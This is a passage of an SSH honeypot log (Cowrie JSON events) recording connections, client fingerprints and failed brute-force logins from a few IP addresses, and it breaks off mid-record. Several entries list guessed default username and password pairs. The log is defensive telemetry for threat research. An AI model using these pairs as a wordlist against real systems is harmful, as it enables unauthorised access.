{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":56502,"dst_ip":"10.17.0.5","dst_port":22,"session":"e2a6f42433e4","protocol":"ssh","message":"New connection: 47.86.95.62:56502 (10.17.0.5:22) [session: e2a6f42433e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:22:45.011963Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:22:45.980407Z","src_ip":"47.86.95.62","session":"e2a6f42433e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:22:45.998172Z","src_ip":"47.86.95.62","session":"e2a6f42433e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"123456","message":"login attempt [test/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:22:53.266830Z","src_ip":"47.86.95.62","session":"e2a6f42433e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.5","message":"Connection lost after 9.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:22:54.478150Z","src_ip":"47.86.95.62","session":"e2a6f42433e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":39092,"dst_ip":"10.17.0.5","dst_port":22,"session":"c28eefca5b25","protocol":"ssh","message":"New connection: 47.86.95.62:39092 (10.17.0.5:22) [session: c28eefca5b25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:22:56.997916Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:22:57.003057Z","src_ip":"47.86.95.62","session":"c28eefca5b25","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:22:57.269195Z","src_ip":"47.86.95.62","session":"c28eefca5b25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openclaw","password":"openclaw","message":"login attempt [openclaw/openclaw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:22:57.961288Z","src_ip":"47.86.95.62","session":"c28eefca5b25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:22:59.172510Z","src_ip":"47.86.95.62","session":"c28eefca5b25","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":54614,"dst_ip":"10.17.0.5","dst_port":22,"session":"b818971b3356","protocol":"ssh","message":"New connection: 47.86.95.62:54614 (10.17.0.5:22) [session: b818971b3356]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:23:02.151112Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:23:02.165077Z","src_ip":"47.86.95.62","session":"b818971b3356","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:23:02.403212Z","src_ip":"47.86.95.62","session":"b818971b3356","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.23.26","src_port":36616,"dst_ip":"159.203.135.109","dst_port":22,"session":"960a9b275c6c","protocol":"ssh","message":"New connection: 165.154.23.26:36616 (159.203.135.109:22) [session: 960a9b275c6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:23:30.781551Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:23:30.786712Z","src_ip":"165.154.23.26","session":"960a9b275c6c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:23:30.998983Z","src_ip":"165.154.23.26","session":"960a9b275c6c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passwd","message":"login attempt [root/passwd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:23:31.092833Z","src_ip":"47.86.95.62","session":"b818971b3356","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test123456789","message":"login attempt [root/test123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:23:31.878136Z","src_ip":"165.154.23.26","session":"960a9b275c6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:23:33.094169Z","src_ip":"165.154.23.26","session":"960a9b275c6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"31.6","message":"Connection lost after 31.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:23:33.786704Z","src_ip":"47.86.95.62","session":"b818971b3356","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":37044,"dst_ip":"10.17.0.5","dst_port":22,"session":"8f1e40e53bbd","protocol":"ssh","message":"New connection: 47.86.95.62:37044 (10.17.0.5:22) [session: 8f1e40e53bbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:23:39.416330Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:23:39.480052Z","src_ip":"47.86.95.62","session":"8f1e40e53bbd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:23:39.628877Z","src_ip":"47.86.95.62","session":"8f1e40e53bbd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"es","message":"login attempt [es/es] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:23:40.436932Z","src_ip":"47.86.95.62","session":"8f1e40e53bbd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:23:41.701494Z","src_ip":"47.86.95.62","session":"8f1e40e53bbd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":40850,"dst_ip":"10.17.0.5","dst_port":22,"session":"ef60d6a994fb","protocol":"ssh","message":"New connection: 47.86.95.62:40850 (10.17.0.5:22) [session: ef60d6a994fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:23:44.406791Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:23:44.412503Z","src_ip":"47.86.95.62","session":"ef60d6a994fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:23:44.622416Z","src_ip":"47.86.95.62","session":"ef60d6a994fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"ftpuser123","message":"login attempt [ftpuser/ftpuser123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:23:45.332029Z","src_ip":"47.86.95.62","session":"ef60d6a994fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:23:46.548286Z","src_ip":"47.86.95.62","session":"ef60d6a994fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":40852,"dst_ip":"10.17.0.5","dst_port":22,"session":"1103ad773385","protocol":"ssh","message":"New connection: 47.86.95.62:40852 (10.17.0.5:22) [session: 1103ad773385]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:23:49.202045Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:23:49.582629Z","src_ip":"47.86.95.62","session":"1103ad773385","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:23:51.315610Z","src_ip":"47.86.95.62","session":"1103ad773385","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.184.143","src_port":36180,"dst_ip":"159.203.135.109","dst_port":22,"session":"e92ae32403f8","protocol":"ssh","message":"New connection: 209.99.184.143:36180 (159.203.135.109:22) [session: e92ae32403f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:23:58.150919Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:23:58.156587Z","src_ip":"209.99.184.143","session":"e92ae32403f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:23:58.248842Z","src_ip":"209.99.184.143","session":"e92ae32403f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"g9q7jreo","password":".GxRJez2m1MHgY2j4lgG","message":"login attempt [g9q7jreo/.GxRJez2m1MHgY2j4lgG] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:23:58.649009Z","src_ip":"209.99.184.143","session":"e92ae32403f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:23:59.744354Z","src_ip":"209.99.184.143","session":"e92ae32403f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"deploy123","message":"login attempt [deploy/deploy123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:24:13.049659Z","src_ip":"47.86.95.62","session":"1103ad773385","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"26.0","message":"Connection lost after 26.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:24:15.167100Z","src_ip":"47.86.95.62","session":"1103ad773385","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":38304,"dst_ip":"10.17.0.5","dst_port":22,"session":"49c837c28c2a","protocol":"ssh","message":"New connection: 47.86.95.62:38304 (10.17.0.5:22) [session: 49c837c28c2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:24:23.051470Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:24:23.056597Z","src_ip":"47.86.95.62","session":"49c837c28c2a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-s